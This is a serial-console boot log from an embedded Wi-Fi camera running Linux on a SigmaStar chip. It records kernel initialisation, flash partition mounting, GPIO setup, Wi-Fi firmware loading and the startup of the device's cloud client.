Inode-cache hash table entries: 4096 (order: 2, 16384 bytes)
Memory: 38628K/44824K available (1951K kernel code, 201K rwdata, 1016K rodata, 96K init, 132K bss, 4148K reserved, 2048K cma-reserved)
Virtual kernel memory layout:
    vector  : 0xffff0000 - 0xffff1000   (   4 kB)
    fixmap  : 0xffc00000 - 0xfff00000   (3072 kB)
    vmalloc : 0xc3000000 - 0xff800000   ( 968 MB)
    lowmem  : 0xc0000000 - 0xc2bc6000   (  43 MB)
    modules : 0xbf800000 - 0xc0000000   (   8 MB)
      .text : 0xc0008000 - 0xc01f01b8   (1953 kB)
      .init : 0xc030c000 - 0xc0324000   (  96 kB)
      .data : 0xc0324000 - 0xc0356700   ( 202 kB)
       .bss : 0xc0358000 - 0xc0379048   ( 133 kB)
SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=1, Nodes=1
Preemptible hierarchical RCU implementation.
        Build-time adjustment of leaf fanout to 32.
NR_IRQS:16 nr_irqs:16 16
ms_init_main_intc: np-&gt;name=ms_main_intc, parent=gic
ms_init_pm_intc: np-&gt;name=ms_pm_intc, parent=ms_main_intc
ss_init_gpi_intc: np-&gt;name=ms_gpi_intc, parent=ms_main_intc
Find CLK_cpupll_clk, hook ms_cpuclk_ops
arm_arch_timer: Architected cp15 timer(s) running at 6.00MHz (virt).
clocksource: arch_sys_counter: mask: 0xffffffffffffff max_cycles: 0x1623fa770, max_idle_ns: 440795202238 ns
sched_clock: 56 bits at 6MHz, resolution 166ns, wraps every 4398046511055ns
Switching to timer-based delay loop, resolution 166ns
console [ttyS0] enabled
Calibrating delay loop (skipped), value calculated using timer frequency.. 12.00 BogoMIPS (lpj=60000)
pid_max: default: 4096 minimum: 301
Mount-cache hash table entries: 1024 (order: 0, 4096 bytes)
Mountpoint-cache hash table entries: 1024 (order: 0, 4096 bytes)
CPU: Testing write buffer coherency: ok
Setting up static identity map for 0x200081c0 - 0x200081f0
devtmpfs: initialized
VFP support v0.3: implementor 41 architecture 2 part 30 variant 7 rev 5
clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604462750000 ns
futex hash table entries: 16 (order: -4, 448 bytes)
NET: Registered protocol family 16
DMA: preallocated 256 KiB pool for atomic coherent allocations


Version : MVX4##I6B0g13bd5707KL_LX409##[BR:main]#XVM

GPIO: probe end[ss_gpi_intc_domain_alloc] hw:42 -&gt; v:51
[MS_PM_INTC] hw:20 -&gt; v:54
hw-breakpoint: found 5 (+1 reserved) breakpoint and 4 watchpoint registers.
hw-breakpoint: maximum watchpoint size is 8 bytes.
usbcore: registered new interface driver usbfs
usbcore: registered new interface driver hub
usbcore: registered new device driver usb
clocksource: Switched to clocksource arch_sys_counter
NET: Registered protocol family 2
TCP established hash table entries: 1024 (order: 0, 4096 bytes)
TCP bind hash table entries: 1024 (order: 2, 20480 bytes)
TCP: Hash tables configured (established 1024 bind 1024)
UDP hash table entries: 128 (order: 0, 6144 bytes)
UDP-Lite hash table entries: 128 (order: 0, 6144 bytes)
NET: Registered protocol family 1
hw perfevents: enabled with armv7_cortex_a7 PMU driver, 5 counters available
workingset: timestamp_bits=30 max_order=14 bucket_order=0
squashfs: version 4.0 (2009/01/31) Phillip Lougher
jffs2: version 2.2. © 2001-2006 Red Hat, Inc.
io scheduler noop registered
io scheduler deadline registered (default)
ehci_hcd: USB 2.0 &#39;Enhanced&#39; Host Controller (EHCI) Driver
ehci monitor start running
Mstar_ehc_init version:20180309
Sstar-ehci-1 H.W init
Get power-enable-pad from DTS GPIO(65535)
Failed to request USB0-power-enable GPIO(255)
Titania3_series_start_ehc start
[USB] config miu select [70] [e8] [ef] [ef]
[USB] enable miu lower bound address subtraction
[USB] init squelch level 0x2
[USB] no platform_data, device tree coming
[USB][EHC] dma coherent_mask 0xffffffffffffffff mask 0xffffffffffffffff
BC disable
[USB] soc:Sstar-ehci-1 irq --&gt; 43
Sstar-ehci-1 soc:Sstar-ehci-1: EHCI Host Controller
Sstar-ehci-1 soc:Sstar-ehci-1: new USB bus registered, assigned bus number 1
Sstar-ehci-1 soc:Sstar-ehci-1: irq 43, io mem 0xfd284800
usb usb1: New USB device found, idVendor=1d6b, idProduct=0002
usb usb1: New USB device strings: Mfr=3, Product=2, SerialNumber=1
usb usb1: Product: EHCI Host Controller
usb usb1: Manufacturer: Linux 4.9.84 ehci_hcd
usb usb1: SerialNumber: mstar
hub 1-0:1.0: USB hub found
hub 1-0:1.0: 1 port detected
i2c /dev entries driver
1f221000.uart0: ttyS0 at MMIO 0x0 (irq = 37, base_baud = 10800000) is a unknown
1f221200.uart1: ttyS1 at MMIO 0x0 (irq = 38, base_baud = 10800000) is a unknown
1f220400.uart2: ttyS2 at MMIO 0x0 (irq = 40, base_baud = 10800000) is a unknown
&gt;&gt; [sdmmc] ms_sdmmc_probe
[Padmux]reset PAD60(reg 0xe00:28; mask0x4000) t0 GPIO (org: PM_SD_CDZ_MODE)
[Padmux]reset PAD54(reg 0x101e00:8; mask0xc) t0 GPIO (org: SD_MODE)
&gt;&gt; [sdmmc_0] Probe Platform Devices
[gpioi2c] sda-gpio=8, scl-gpio=9
MSYS: DMEM request: [BDMA_FSP_WBUFF]:0x00010040
MSYS: DMEM request: [BDMA_FSP_WBUFF]:0x00010040 success, CPU phy:@0x22850000, virt:@0xC2850000
[Ser flash] phys=0x22850000, virt=0xc2850000, bus=0x02850000 len:0x10040
[FSP] Flash is detected (0x1206, 0x20, 0x40, 0x18) ver1.1
[FSP] 1-1-4 QUAD_READ MODE
mtd .name = NOR_FLASH, .size = 0x01000000 (16MiB)
 .erasesize = 0x00010000 .numeraseregions = 0
MXP_PARTS!!
MXP found at mxp_offset[3]=0x00020000, size=0x1000
Creating 9 MTD partitions on &quot;NOR_FLASH&quot;:
0x000000000000-0x000000050000 : &quot;BOOT&quot;
0x000000050000-0x0000001b0000 : &quot;ROOTFS&quot;
0x0000001b0000-0x000000350000 : &quot;A_KERNEL&quot;
0x000000350000-0x000000870000 : &quot;A_USRFS&quot;
0x000000870000-0x000000a10000 : &quot;B_KERNEL&quot;
0x000000a10000-0x000000f30000 : &quot;B_USRFS&quot;
0x000000f30000-0x000000f80000 : &quot;DATA&quot;
0x000000f80000-0x000000ff0000 : &quot;SOUND&quot;
0x000000ff0000-0x000001000000 : &quot;FACTORY&quot;
MSYS: DMEM request: [AESDMA_ENG]:0x00001000
MSYS: DMEM request: [AESDMA_ENG]:0x00001000 success, CPU phy:@0x22848000, virt:@0xC2848000
MSYS: DMEM request: [AESDMA_ENG1]:0x00001000
MSYS: DMEM request: [AESDMA_ENG1]:0x00001000 success, CPU phy:@0x22849000, virt:@0xC2849000
cryptodev: driver 1.10(a1e738a) loaded.
[ms_cpufreq_init] Current clk=799999872
[NOTICE]pwm-isr(55) success. If not i6e or i6b0, pls confirm it on .dtsi
mstar notify driver install successfully
NET: Registered protocol family 17
hctosys: unable to open rtc device (rtc0)
OF: fdt:not creating &#39;/sys/firmware/fdt&#39;: CRC check failed
VFS: Mounted root (squashfs filesystem) readonly on device 31:1.
devtmpfs: mounted
This architecture does not have kernel memory protection.
random: linuxrc: uninitialized urandom read (4 bytes read)
+ source /etc/hooks/pre-init
+ exec chroot . /bin/busybox linuxrandom: chroot: uninitialized urandom read (4 bytes read)
rc
random: busybox: uninitialized urandom read (4 bytes read)
starting pid 38random: mount: uninitialized urandom read (4 bytes read)
9, tty &#39;&#39;: &#39;/bin/mount -t proc prandom: mkdir: uninitialized urandom read (4 bytes read)
roc /proc&#39;
starting pid 390, trandom: mkdir: uninitialized urandom read (4 bytes read)
random: mount: uninitialized urandom read (4 bytes read)

starting pid 391, tty &#39;&#39;: &#39;/bin/mkdir -p /dev/shm&#39;
starting random: hostname: uninitialized urandom read (4 bytes read)
pid 392, tty &#39;&#39;: &#39;/bin/mount -a&#39;random: rcS: uninitialized urandom read (4 bytes read)

starting pid 393, tty &#39;&#39;: &#39;/bin/hostname -F /etc/hostname&#39;
starting pid 394random: grep: uninitialized urandom read (4 bytes read)
, tty &#39;&#39;: &#39;/etc/init.d/rcS&#39;
+ mkdir -p /dev/shm
+ mkdir -p /dev/pts
+ mount devpts
+ ulimit -c unlimited
+ ulimit -s 256
+ cut -c 4-
+ cut -d : -f 0
+ grep DATA
+ cat /proc/mtd
+ DATA_NUM=6
+ mount -t jffs2 /dev/mtdblock6 /mnt/data/
+ &#39;[&#39; xinfo &#39;=&#39; xdebug ]
+ awk -F &#39;=&#39; &#39;{print $2}&#39;
+ fw_printenv boot_flag
+ boot_flag=1
+ awk -F &#39;=&#39; &#39;{print $2}&#39;
+ fw_printenv boot_retry
+ retry_time=
+ &#39;[&#39; x1 &#39;==&#39; x1 ]
+ moshon_echo &#39;The system is B&#39;
+ &#39;[&#39; xinfo &#39;=&#39; xdebug ]
+ cut -c 4-
+ cut -d : -f 0
+ grep B_USRFS
+ cat /proc/mtd
+ MTD_NUM=5
+ mount -t squashfs /dev/mtdblock5 /mnt/usr/
+ &#39;[&#39; 0 &#39;==&#39; 0 ]
+ moshon_echo
+ &#39;[&#39; xinfo &#39;=&#39; xdebug ]
+ cut -c 4-
+ cut -d : -f 0
+ grep SOUND
+ cat /proc/mtd
+ SOUND_NUM=7
+ mount -t squashfs /dev/mtdblock7 /mnt/usr/sound
+ set -a
+ source /mnt/usr/etc/environment.base
+ PATH=/mnt/data/bin:/bin:/sbin:/usr/bin:/usr/sbin:/mnt/usr/bin/
+ LD_LIBRARY_PATH=/mnt/data/lib
+ CURL_CA_BUNDLE=/mnt/data/cacert.pem
+ XTABLES_LIBDIR=/mnt/usr/lib/xtables
+ MIIO_LOG_LEVEL=info
+ YELLOW_GPIO=76
+ BLUE_GPIO=77
+ IRCUT_[ss_gpi_intc_domain_alloc] hw:2 -&gt; v:63
GPIO0=79
+ IRCUT_GPIO1=78
+ INFRA_GPIO=61
+ MOTORCHIP_GPIO=16
+ WIFI_GPIO=14
+ SPEAKER_GPIO=15
+ SECURITY_CHIP_RESET_GPIO=80
+ DEV_RESET_GPIO=66
+ &#39;[&#39; -f /mnt/usr/etc/environment ]
[Padmux]reset PAD15(reg 0x101e00:3; mask0x70) t0 GPIO (org: UART0_MODE_2)

+ ISP_CFG_PATH=[ss_gpi_intc_domain_alloc] hw:68 -&gt; v:64
/data/cfg
+ sou[MS_PM_INTC] hw:74 -&gt; v:65
rce /etc/profile.d/debug.sh
+ export &#39;MIIO_LOG_FILE=&#39;
+ export &#39;MIIO_LOG_LEVEL[MS_PM_INTC] hw:75 -&gt; v:66
=info&#39;
+ set +a
+ cut -d &#39;=&#39; -f 2
+ grep BUILD_MODE
+ cat /etc/os-release
+ BUILD_MODE=rele[MS_PM_INTC] hw:4 -&gt; v:67
ase
+ &#39;[&#39; &#39;!&#39; -f &#39;/etc/init.d/S[Padmux]reset PAD61(reg 0xe00:1c; mask0x10) t0 GPIO (org: PM_IRIN_MODE)
??*&#39; ]
+ continue
+ &#39;[&#39; xrelease &#39;!=&#39; xdebug ]
+ &#39;[&#39; &#39;!&#39; -f /tmp/enable_console ]
+ disable_console
+ touch /tmp/disable_console
+ gpio_init 40 out 1
+ &#39;[&#39; 3 -lt 2 ]
+ gpio=40
+ direc[ss_gpi_intc_domain_alloc] hw:69 -&gt; v:70
tion=out
+ &#39;[&#39; 3 -eq 3 ]
+ val[ss_gpi_intc_domain_alloc] hw:67 -&gt; v:72
ue=1
+ echo &#39;SET gpio:40 dir:out val:1&#39;
SET gpio:40 dir:out val:1
+ enable_console
/etc/init.d/rcS: line 1: enable_console: not found
+ echo &#39;SET gpio:40 dir:out&#39;
SET gpio:40 dir:out
+ &#39;[&#39; &#39;!&#39; -d /sys/class/gpio/gpio40 ]
+ echo 40
+ echo &#39;gpio 40 export success&#39;
gpio 40 export success
+ echo out
+ &#39;[&#39; 3 -eq 3 ]
+ &#39;[&#39; out &#39;==&#39; out ]
+ echo 1
+ echo &#39;gpio 40 set val 1 done&#39;
gpio 40 set val 1 done
+ ls /sys/class/gpio
export     gpio40     gpio81     gpiochip0  unexport
+ /bin/mnt_usr_etc_init.sh
SET gpio:15 dir:out val:0
gpio 15 export success
gpio 15 set val 0 done
SET gpio:76 dir:out val:1
gpio 76 export success
gpio 76 set val 1 done
SET gpio:77 dir:out val:0
gpio 77 export success
gpio 77 set val 0 done
SET gpio:66 dir:in
gpio 66 export success
SET gpio:79 dir:in
gpio 79 export success
SET gpio:78 dir:in
gpio 78 export success
SET gpio:61 dir:out val:0
gpio 61 export success
gpio 61 set val 0 done
SET gpio:16 dir:out val:1
gpio 16 export success
gpio 16 set val 1 done
SET gpio:80 dir:out val:1
gpio 80 export success
gpio 80 set val 1 done
SET gpio:14 dir:out val:1
gpio 14 export success
gpio 14 set val 1 done
net.ipv4.ip_local_reserved_ports = 54322,54321,54320,54319,54318
net.core.wmem_max = 81920
net.core.wmem_default = 81920
net.core.rmem_max = 81920
net.core.rmem_default = 81920
ln: /mnt/data/audioCfg.txt: File exists
Starting logging: OK
==20180309==&gt; hub_port_init 1 #0
Plug in USB Port1
wlan0_mac=50:7B:random: fast init done
91:2A:DB:92
usb 1-1: new high-speed USB device number 2 using Sstar-ehci-1
mhal: loading out-of-tree module taints kernel.
mhal: module license &#39;PROPRIETARY&#39; taints kernel.
Disabling lock debugging due to kernel taint
mhal driver init
[CSI] probe
Request CSI IRQ[0]#32
CSI interrupt registered
vif driver probe
Create device file. vif_ints,0
venc_probe:846 venc driver is probed.
usb 1-1: New USB device found, idVendor=1b20, idProduct=888d
usb 1-1: New USB device strings: Mfr=16, Product=32, SerialNumber=0
usb 1-1: Product: SigmaStarWIFI
usb 1-1: Manufacturer: SigmaStar inc
jpe driver probed
[DRV_SCL_MODULE] [_DrvSclVpeModuleInit @ 142]
[Isp_Driver_Init]
[s32CurClkIdx] = 5
[ISP] Request IRQ: 31, 57
[IspMid_Driver_Init]
ispsclttl:0
 ~~~~~~~~~~~ Mload Inside init module ~~~~~~~~~~~~~~~
DivpProcInit 526
module [sys] init
MI_SYSCFG_SetupMmapLoader default_config_path:/config/config_tool, argv1:/config/load_mmap,argv2:/config/mmap.ini
Function = init_glob_miu_kranges, Line = 731, Insert KProtect for LX @ MIU: 0
Function = init_glob_miu_kranges, Line = 740, [INIT] for LX0 kprotect: from 0x20000000 to 0x23FC6000, using block 0
config...... cmdpath:/config/config_tool, argv0:load_config
config...... cmdpath:/config/config_tool, argv1:/misc/config.ini
config...... cmdpath:/config/config_tool, argv2:/misc/PQConfig.ini
config...... cmdpath:/config/config_tool, argv3:(null)
function:parese_Cmdline,pCmd_Section:0x3fc6000
 sn lx len:mmap-&gt;u32Size:0x3fe0000,but kernel len:0x3fc6000,fail!!!!
mm
a_
he
ap
_n
am
e0
    miu=0,sz=1400000  reserved_start=22bc6000
r_front-&gt;miuBlockIndex:0,r_front-&gt;start_cpu_bus_pa:0x20000000,r_front-&gt;start_cpu_bus_pa+r_front-&gt;length:0x22bc6000
mi_sys_mma_allocator_create success, heap_base_addr=22bc6000 length=1400000
Kernel CONFIG_HZ = 100
Sigmastar Module mi_sys version: project_commit.bebf9eb sdk_commit.ceb404d build_time.20210409114010
module [ai] init
module [ao] init
module [rgn] init
module [vif] init
module [vpe] init
module [divp] init
module [venc] init Apr  9 2021 11:40:44
module [sensor] init
Connect gc3003_init_driver linear to sensor pad 0
module [shadow] init
[Padmux]reset PAD47(reg 0x101e00:f; mask0x3) t0 GPIO (org: EJ_MODE_2)
Starting mdev...
Try copy log from TF card
mount: mounting /dev/mmcblk0p1 on /mnt/sdcard fa/mnt/usr/etc/init.d/S12copylog: Unable to copy log fron sdcard
iled: No such file or directory
mount: mounting /dev/mmcblk0 on /mnt/sdcard failed: No such file or directory
Starting watchdog...
read-only file system detected...done
moshon watchdog argc = 3
moshon watchdog start reset = 10, timeout = 40
Starting network: OK
Starting wifi ...... bind_status:1
S41wifi&gt;&gt; ssid:iptime 2.4 GHz
S41wifi&gt;&gt; wifi_start.sh STA
S41wifi&gt;&gt; insmod ssw101bc_wifi_usb.ko
[Sstar_log]:Sstar_usb_module_init 0
[Sstar_log]:SVN_VER=32361,DPLL_CLOCK=2,BUILD_TIME=2024-03-04_21:08:19
[Sstar_log]:Sstar_usb_probe : idVendor[1b20] idProduct[888d]
[Sstar_log]:reset wifi_chip_probe!
[Sstar_log]:Probe called -1 v1
[Sstar_log]:not CONFIG_USE_DMA_ADDR_BUFFER
[Sstar_log]:CONFIG_TX_NO_CONFIRM
[Sstar_log]:Allocated hw_priv @ c1f39100
[Sstar_log]: wait_event_interruptible from  send_prbresp_wq
[Sstar_log]:Sstarwifi USB_USE_TASTLET_TXRX enable (c1f39100)
[Sstar_log]:Sstarwifi USB_USE_TASTLET_TXRX enable (c1f39100)
[Sstar_log]:Sstar_get_chiptype, chipver=0x4a, g_wifi_chip_type[12]
[Sstar_log]:Sstar_before_load_firmware++
[Sstar_log]:+++++++++++++++++1.1v++++++++++++++++++
[Sstar_log]:===================~_~====================
[Sstar_log]:Sstar_start_load_firmware++
[Sstar_log]:
======&gt;&gt;&gt; load only WIFI firmware &lt;&lt;&lt;======

[Sstar_log]:START DOWNLOAD ICCM=========
[Sstar_log]:Sstar_load_firmware_generic: addr 10000: len 15000
[Sstar_log]:START DOWNLOAD DCCM=========
[Sstar_log]:Sstar_load_firmware_generic: addr 800000: len a000
[Sstar_log]:Sstar_after_load_firmware++
[Sstar_log]:usb:try to flush rx....
[Sstar_log]:flush rx[-110][0]
[Sstar_log]:ARES_A:after_load_firmware[Sstar_log]:0x1610102c=0x40a0e
[Sstar_log]:0x1610102c=0x10a0f
[Sstar_log]:0x16101000=0x8000e08
[Sstar_log]:set_block_size=256
[Sstar_log]:firmwareCap f18f
[Sstar_log]:firmwareCap2 11ac
[Sstar_log]:wsm_caps.firmwareCap 11acf18f 4
[Sstar_log]:apollo wifi WSM init done.
   Input buffers: 30 x 1648 bytes
   Hardware: 7.6
   WSM firmware [=MODEM==USB=-NoBle-Dec  6 2023 17:54:48], ver: 19040, build: 4248, api: 1060, cap: 0x11ACF18F Config[8030408]  expection 9006fdc, ep0 cmd addr 0 NumOfStations[8] NumOfInterfaces[3]
[Sstar_log]:EFUSE(8)                            [0]
[Sstar_log]:EFUSE(I)                                    [0]
[Sstar_log]:EFUSE(B)                    [0]
[Sstar_log]:CAPABILITIES_SSTAR_PRIVATE_IE      [1]
[Sstar_log]:CAPABILITIES_NVR_IPC              [1]
[Sstar_log]:CAPABILITIES_NO_CONFIRM           [1]
[Sstar_log]:CAPABILITIES_SDIO_PATCH           [0]
[Sstar_log]:CAPABILITIES_NO_BACKOFF           [0]
[Sstar_log]:CAPABILITIES_CFO                  [0]
[Sstar_log]:CAPABILITIES_AGC                  [1]
[Sstar_log]:CAPABILITIES_TXCAL                [1]
[Sstar_log]:CAPABILITIES_MONITOR              [0]
[Sstar_log]:CAPABILITIES_CUSTOM               [0]
[Sstar_log]:CAPABILITIES_SMARTCONFIG          [0]
[Sstar_log]:CAPABILITIES_ETF                  [1]
[Sstar_log]:CAPABILITIES_LMAC_RATECTL         [1]
[Sstar_log]:CAPABILITIES_LMAC_TPC             [1]
[Sstar_log]:CAPABILITIES_LMAC_TEMPC           [1]
[Sstar_log]:CAPABILITIES_CTS_BUG              [0]
[Sstar_log]:CAPABILITIES_USB_RECOVERY_BUG     [0]
[Sstar_log]:CAPABILITIES_USE_IPC              [1]
[Sstar_log]:CAPABILITIES_OUTER_PA             [0]
[Sstar_log]:CAPABILITIES_POWER_CONSUMPTION    [1]
[Sstar_log]:CAPABILITIES_RSSI_DECIDE_TXPOWER  [0]
[Sstar_log]:CAPABILITIES_RTS_LONG_DURATION    [1]
[Sstar_log]:CAPABILITIES_TX_CFO_PPM_CORRECTION[1]
[Sstar_log]:CAPABILITIES_SHARE_CRYSTAL       [0]
[Sstar_log]:CAPABILITIES_CFO_DCXO_CORRECTION    [1]
[Sstar_log]:CAPABILITIES_HW_CHECKSUM          [0]
[Sstar_log]:CAPABILITIES_SINGLE_CHANNEL_MULRX [0]
[Sstar_log]:EX_CAPABILITIES_TWO_CHIP_ONE_SOC    [0]
[Sstar_log]:EX_CAPABILITIES_MANUAL_SET_AC       [0]
[Sstar_log]:EX_CAPABILITIES_LMAC_BW_CONTROL     [1]
[Sstar_log]:EX_CAPABILITIES_SUPPORT_TWO_ANTENNA [0]
[Sstar_log]:EX_CAPABILITIES_ENABLE_STA_REMAIN_ON_CHANNEL        [1]
[Sstar_log]:EX_CAPABILITIES_ENABLE_PS      [1]
[Sstar_log]:EX_CAPABILITIES_TX_REQUEST_FIFO_LINK           [0]
[Sstar_log]:EX_CAPABILITIES_DRIVER_PHY_REG_INIT            [0]
[Sstar_log]:EX_CAPABILITIES_DRIVER_PROCESS_BA      [1]
[Sstar_log]:EX_CAPABILITIES_DRIVER_PHY_REG_INIT[0]
[Sstar_log]:EX_CAPABILITIES_DRIVER_PROCESS_BA[1]
[Sstar_log]:CONFIG_PRODUCT_TEST_USE_FEATURE_ID [1]
[Sstar_log]:CONFIG_PRODUCT_TEST_USE_GOLDEN_LED [1]
[Sstar_log]:mdelay wait wsm_startup_done  !!
[Sstar_log]:not need phy init in driver
[Sstar_log]:wsm_generic_confirm:status(2)
[Sstar_log]:&lt;WARNING&gt; wsm_write_mib fail !!! mibId=4132
[Sstar_log]:efuse data is [0x1,0x46,0x1d,0x1f,0x1e,0xb,0x0,0x0,0x50:0x7b:0x91:0x2a:0xdb:0x92]
[Sstar_log]:apollo wifi : can&#39;t open /data/.mac.info
[Sstar_log]:Sstar_get_cfg80211_country_code
[Sstar_log]:enable sg
[Sstar_log]:[wlan0] has been disabled
[Sstar_log]:enable sg
[Sstar_log]:[p2p0] has been disabled
[Sstar_log]:is registered as &#39;phy0&#39;
[Sstar_log]:apollo wifi : can&#39;t open /tmp/Sstar_txpwer_dcxo_cfg.txt
[Sstar_log]:apollo wifi : can&#39;t open /tmp/set_rate_power.txt
[Sstar_log]:get chip id [834][10][0]
[Sstar_log]:current chiptype 6032-X
[Sstar_log]:[Sstar_wtd]:set wtd_probe = 1
usbcore: registered new interface driver Sstar_wlan
exttra = set_spec_rate_txpower_mode 0 6  31
exttra = set_spec_rate_txpower_mode 1 6  31
exttra = set_spec_rate_txpower_mode 2 9  31
exttra = set_spec_rate_txpower_mode 3 6  31
exttra = set_spec_rate_txpower_mode 4 5  31
exttra = set_spec_rate_txpower_mode 5 4  31
exttra = set_spec_rate_txpower_mode 6 4  31
exttra = set_spec_rate_txpower_mode 7 4  31
exttra = set_spec_rate_txpower_mode 8 3  31
wifi_start&gt;&gt; entry ENTER_STA_MODEL interface:wlan0
Starting mi_daemon...
Starting telnetdmi_daemon (611): /proc/611/oom_adj is deprecated, please use /proc/611/oom_score_adj instead.
: OK
wifi_start&gt;&gt; bind_status:1
Starting crond...
cat: can&#39;t open &#39;/sys/class/gpio/gpio57/value&#39;: No such file or directory
wifi_start&gt;&gt; wifi_power:
mi_daemon: cfg_file_path=/mnt/data/bin/mi_daemon.conf
mi daemon: i=0,app_path=/mnt/usr/bin/miio_client_start.sh,app_cmd=miio_client_start.sh
mi daemon: i=1,app_path=/mnt/usr/bin/moshon_mike.sh,app_cmd=moshon_mike.sh
mi daemon: i=2,app_path=/mnt/usr/bin/moshon_helper.sh,app_cmd=moshon_helper.sh
mi daemon: i=3,app_path=/mnt/usr/bin/auxiliary_system.sh,app_cmd=auxiliary_system.sh
mi daemon: pid=621,app=miio_client_start.sh, crash=0,total=1,starting...
mi daemon: pid=622,app=moshon_mike.sh, crash=0,total=1,starting...
mi daemon: pid=623,app=moshon_helper.sh, crash=0,total=1,starting...
mi daemon: pid=624,app=auxiliary_system.sh, crash=0,total=1,starting...
Start rename firmware...
/mnt/sdcard/tf_recovery.img not exist
/mnt/sdcard/tf_update.img not exist
/mnt/sdcard/all_signed.img not exist
/mnt/sdcard/all_recovery_signed.img not exist
wifi_start&gt;&gt; argc:1 connect_hidden_ssid =
socket connection failed. is the moshon_db server running?
wifi_start&gt;&gt; Enabling wifi STA mode
cat: can&#39;t open &#39;/sys/class/gpio/gpio57/value&#39;: No such file or directory
Starting dual_system check...
wifi_start&gt;&gt; wifi_power:
Starting netcheck...
+ ulimit -s 256
dual_system_check works
miio_client_sta (621): drop_caches: 3
             total       used       free     shared    buffers     cached
Mem:         40676      15264      25412         68        420       1704
-/+ buffers/cache:      13140      27536
Swap:            0          0          0
rm: can&#39;t remove &#39;/tmp/moshon_ota_flag&#39;: No such file or directory
rm: can&#39;t remove &#39;/tmp/mike_pid&#39;: No such file omoshon_mike.sh (622): drop_caches: 3
r directory
The version needn&#39;t update
The model commit needn&#39;t update
1970:01:01:08:00:04.000 [I] miio_client: Set log level to: 1
1970:01:01:08:00:04.000 [I] miio_client: Set data dir to: /mnt/data/
1970:01:01:08:00:04.001 [I] miio_client: MSC_ENABLE
1970:01:01:08:00:04.001 [I] miio_client: Set max rpc session num to: 12
wifi_start&gt;&gt; STA mode select 2.4g
Failed to connect to hostapd - wpa_ctrl_open: No such file or directory
killall: udhcpc: no process killed
killall: wpa_supplicant: no process killed
killall: hostapd: no process killed
killall: udhcpd: no process killed
moshon_mike (663): drop_caches: 3
[Sstar_log]:Sstar_setup_mac:addr(507b912adb92)
[Sstar_log]:3 !!! Sstar_vif_setup_params: enabling priv
[Sstar_log]:[STA] Interface ID:0 of type:2 added
[Sstar_log]:Sstar_set_uapsd_param:uapsdFlags(0)
[Sstar_log]:br0_netdev_open()-1199: dev_get_by_name(br0)
[Sstar_log]:Sstar_set_uapsd_param:uapsdFlags(0)
[Sstar_log]:Sstar_set_uapsd_param:uapsdFlags(0)
[Sstar_log]:Sstar_set_uapsd_param:uapsdFlags(0)
[Sstar_log]:Sstar_set_uapsd_param:uapsdFlags(0)
wifi_start&gt;&gt; up_res:0
[D][mi_log_file_init][260]...log init success , file size 53248
[D][mi_log_init][415]...log init success
sc type 0x8 is 16
[I][0101 09:00:06.461][MI IPC][ipc.c:329]@sdk version Release 5.3.1.1.25 guoxingbao@xiaomi.com 20240118_143610:c58f9fa4 @
[I][0101 09:00:06.494][MI CONF][conf_save.c:65]CONF DB CONFIG_MODULE_MAX = 20480,  realSize = 20480
[I][0101 09:00:06.495][MI MESSAGE][mi_message.c:1241]message center: init ok!
create thread rpc_mg ok ,detch:no , stack 0x100000
create thread mi_timer ok ,detch:no , stack 0x20000
[I][0101 09:00:06.495][MI TIMER][mi_timer.c:228]timer: init ok!
[I][0101 09:00:06.496][MI IPC][ipc.c:231]send media info register method: _sync.set_extra_data
[I][0101 09:00:06.496][MI RPC][mi_rpc.c:481]add inner method [_internal.update_dtoken] ok
[I][0101 09:00:06.496][MI RPC][mi_rpc.c:481]add inner method [_internal.request_dinfo] ok
[I][0101 09:00:06.497][MI RPC][mi_rpc.c:481]add inner method [_internal.wifi_start] ok
[I][0101 09:00:06.497][MI RPC][mi_rpc.c:481]add inner method [_internal.wifi_reconnect] ok
[I][0101 09:00:06.497][MI RPC][mi_rpc.c:481]add inner method [_internal.wifi_reload] ok
[I][0101 09:00:06.497][MI RPC][mi_rpc.c:481]add inner method [_internal.req_wifi_conf_status] ok
[I][0101 09:00:06.498][MI RPC][mi_rpc.c:481]add inner method [_internal.info] ok
[I][0101 09:00:06.498][MI RPC][mi_rpc.c:481]add inner method [_internal.request_ot_config] ok
[I][0101 09:00:06.498][MI RPC][mi_rpc.c:481]add inner method [local.status] ok
[I][0101 09:00:06.498][MI RPC][mi_rpc.c:481]add inner method [local.show_pin_code] ok
[I][0101 09:00:06.498][MI RPC][mi_rpc.c:481]add inner method [local.bind] ok
[I][0101 09:00:06.498][MI RPC][mi_rpc.c:481]add inner method [local.query_did] ok
[I][0101 09:00:06.499][MI RPC][mi_rpc.c:481]add inner method [local.query_time] ok
[I][0101 09:00:06.499][MI RPC][mi_rpc.c:481]add inner method [local.query_status] ok
[I][0101 09:00:06.499][MI RPC][mi_rpc.c:481]add inner method [_internal.wifi_disconnect_req] ok
[I][0101 09:00:06.499][MI TIMER][mi_timer.c:301]timer: timeid(7) add!
[I][0101 09:00:06.500][MI RPC][mi_rpc.c:1088]enter ot rpc task @
connect to server ok
[I][0101 09:00:06.506][MI RPC][mi_rpc.c:1105]Internal Connect to server success: 127.0.0.1:54322,fd=8
create thread watchdog ok ,detch:no , stack 0x200000
[I][0101 09:00:06.509][MI RPC][mi_rpc.c:481]add inner method [_sync.set_extra_data] ok
[I][0101 09:00:06.509][MI RPC][mi_rpc.c:481]add inner method [_async.stat] ok
[I][0101 09:00:06.509][MI RPC][mi_rpc.c:481]add inner method [mike.stat] ok
mi daemon: new socket accept ,fd=5,i=0!
[I][0101 09:00:06.509][MI STATICS][report_stat.c:392]recv:{&quot;model&quot;:&quot;mxiang.camera.c301&quot;,&quot;fw_ver&quot;:&quot;5.3.1_0017&quot;}
[W][0101 09:00:06.512][MI MESSAGE][mi_message.c:761]fromid:1.toid:8,key:sdkinfo_resp,cost_ms:3
connect to server ok
[I][0101 09:00:06.517][MI RPC][mi_rpc.c:1123]RPC Connect to server success: 127.0.0.1:54322,fd=9
[W][0101 09:00:06.662][MI MESSAGE][mi_message.c:761]fromid:7.toid:1,key:_internal.request_dinfo,cost_ms:11
[I][0101 09:00:06.683][MI KV][mi_kv.c:1395]mi kv support theadsafe!
[I][0101 09:00:06.683][MI KV][mi_kv.c:1404]mi kv init ok!
[W][0101 09:00:06.683][MI IPC][token.c:69]token file  /mnt/data//device.token not found
interface state: UP
get ip addr fail
[W][0101 09:00:06.961][MI MESSAGE][mi_message.c:761]fromid:7.toid:1,key:_internal.info,cost_ms:13
[I][0101 09:00:06.967][MI IPC][linux_ot_stat.c:156]update camera status internet_failed
start did timer
